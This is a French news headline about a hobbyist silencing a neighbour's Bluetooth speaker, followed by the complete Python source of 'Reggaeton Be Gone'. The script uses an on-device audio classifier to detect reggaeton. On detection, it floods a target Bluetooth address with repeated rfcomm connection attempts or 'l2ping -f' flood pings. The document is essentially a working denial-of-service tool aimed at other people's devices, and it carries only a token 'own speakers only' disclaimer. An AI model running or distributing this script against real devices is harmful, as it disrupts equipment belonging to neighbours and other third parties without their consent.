Un hobbyiste se sert d'un Raspberry Pi animé par une IA pour museler le haut-parleur bluetooth bruyant d'un voisin,

Le dispositif s'appuie sur l'envoi des paquets perturbateurs

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#!/usr/bin/env python 
# -*- coding: utf-8 -*- 
  
# Reggaeton Be Gone 
# Roni Bandini @RoniBandini https://bandini.medium.com 
# February 2024 V 1.0 (Sucio y Desprolijo, as Pappo said) 
# MIT License (c) 2024 Roni Bandini 
# Disclaimer: this is an educational project. Use with your own BT speakers only. 
  
import os 
import subprocess 
import sys, getopt 
import signal 
import time 
import datetime 
from edge_impulse_linux.audio import AudioImpulseRunner 
from RPi import GPIO 
import Adafruit_GPIO.SPI as SPI 
import Adafruit_SSD1306 
from PIL import Image 
from PIL import ImageDraw 
from PIL import ImageFont 
  
# Settings 
myPath="/home/pi/reggaeton/" 
selectedDeviceId = 1 
method = 1 # 1 to 3 
targetAddr = ":::::" 
packagesSize = 800 
threadsCount = 1000 
threshold = 0.95 
myDelay = 0.1 
forceFire = 0 
model = "reggaetonbgone-linux-armv7-v4.eim" 
  
runner = None 
  
# Push button 
GPIO.setwarnings(False) 
GPIO.setmode(GPIO.BCM) 
buttonPin = 26 
GPIO.setup(buttonPin, GPIO.IN, pull_up_down=GPIO.PUD_UP) 
  
# Oled screen 
RST = None 
DC = 23 
SPI_PORT = 0 
SPI_DEVICE = 0 
disp = Adafruit_SSD1306.SSD1306_128_32(rst=RST) 
disp.begin() 
disp.clear() 
disp.display() 
font = ImageFont.truetype('whitrabt.ttf', 12) 
width = disp.width 
height = disp.height 
image = Image.new('1', (width, height)) 
draw = ImageDraw.Draw(image) 
draw.rectangle((0,0,width,height), outline=0, fill=0) 
padding = -2 
top = padding 
bottom = height-padding 
x = 0 
  
# Speaker logo 
image = Image.open(myPath+'images/logo.png').convert('1') 
disp.image(image) 
disp.display() 
time.sleep(5) 
  
def writeLog(myLine): 
    now = datetime.datetime.now() 
    dtFormatted = now.strftime("%Y-%m-%d %H:%M:%S") 
    with open('log.txt', 'a') as f: 
        myLine=str(dtFormatted)+","+myLine 
        f.write(myLine+"\n") 
  
def updateScreen(message1, message2): 
    image = Image.new('1', (width, height)) 
    draw = ImageDraw.Draw(image) 
    draw.rectangle((0,0,width,height), outline=0, fill=0) 
    padding = -2 
    x = 0 
    top = padding 
    bottom = height-padding 
    draw.text((x, top+4),     "Reggaeton BeGone", font=font, fill=255) 
    draw.text((x, top+16),     message1, font=font, fill=255) 
    draw.text((x, top+26),     message2, font=font, fill=255) 
    disp.image(image) 
    disp.display() 
  
def fireBT(method, targetAddr, threadsCount, packagesSize, myDelay): 
  
    writeLog("Firing with method #"+str(method)+ ", pkg "+ str(packagesSize) +', target ' + targetAddr) 
  
    if method==1: 
        # Small, are you there? 
        for i in range(0, threadsCount): 
            print('[*] ' + str(i + 1)) 
            subprocess.call(['rfcomm', 'connect', targetAddr, '1']) 
            time.sleep(myDelay) 
  
    if method==2: 
        # Medium, I think you should listen 
        for i in range(0, threadsCount): 
            print('[*] ' + str(i + 1)) 
            os.system('l2ping -i hci0 -s ' + str(packagesSize) +' -f ' + targetAddr) 
            time.sleep(myDelay) 
  
    if method==3: 
        # XXL, Say hello to my little friend 
        for i in range(0, threadsCount): 
            print('[*] Sorry, Scarface method is not included in this version ' + str(i + 1)) 
            time.sleep(myDelay) 
  
  
def signal_handler(sig, frame): 
    print('Interrupted') 
    writeLog("Interrupted") 
    if (runner): 
        runner.stop() 
    sys.exit(0) 
  
signal.signal(signal.SIGINT, signal_handler) 
  
def main(argv): 
  
    dir_path = os.path.dirname(os.path.realpath(__file__)) 
    modelfile = os.path.join(dir_path, model) 
  
    print("") 
    print("Reggaeton Be Gone 1.0") 
    print("@RoniBandini, February 2024") 
    print("Sounds are quite innoxious, or most distressing, by their sort rather than their quantity - Jane Austen") 
    print("Waiting for button...") 
    print("") 
    print("") 
  
    writeLog("Started") 
  
    # Display 
    updateScreen(targetAddr, "Method #"+str(method)) 
    time.sleep(3) 
  
    # Olmedo, No toca botón 
    while GPIO.input(buttonPin) == GPIO.HIGH: 
            time.sleep(1) 
  
    writeLog("Listening") 
  
    updateScreen(targetAddr, "Listening...") 
    print("Listening...") 
  
    with AudioImpulseRunner(modelfile) as runner: 
        try: 
            model_info = runner.init() 
            labels = model_info['model_parameters']['labels'] 
            print('Loaded AI-ML model "' + model_info['project']['owner'] + ' / ' + model_info['project']['name'] + '"') 
            writeLog("AI model "+model_info['project']['name']) 
  
            for res, audio in runner.classifier(device_id=selectedDeviceId): 
  
                for label in labels: 
                    score = res['result']['classification'][label] 
  
                    if label=='reggaeton' and score<=threshold: 
                        print('%s: %.2f\t' % (label, score)) 
                        updateScreen("Is reggaeton?", str(round(score*100,2))+" %") 
  
                    if label=='reggaeton' and (score>threshold or forceFire==1): 
  
                        updateScreen("Firing speaker", "Score: "+ str(round(score*100,2))+" %" ) 
                        writeLog("Firing threshold: "+str(score)) 
                        time.sleep(4)                         
  
                        image = Image.open(myPath+'images/logo.png').convert('1') 
                        disp.image(image) 
                        disp.display() 
  
                        fireBT(method, targetAddr, threadsCount, packagesSize, myDelay) 
  
                print('') 
  
        finally: 
            if (runner): 
                runner.stop() 
  
if __name__ == '__main__': 
    main(sys.argv[1:])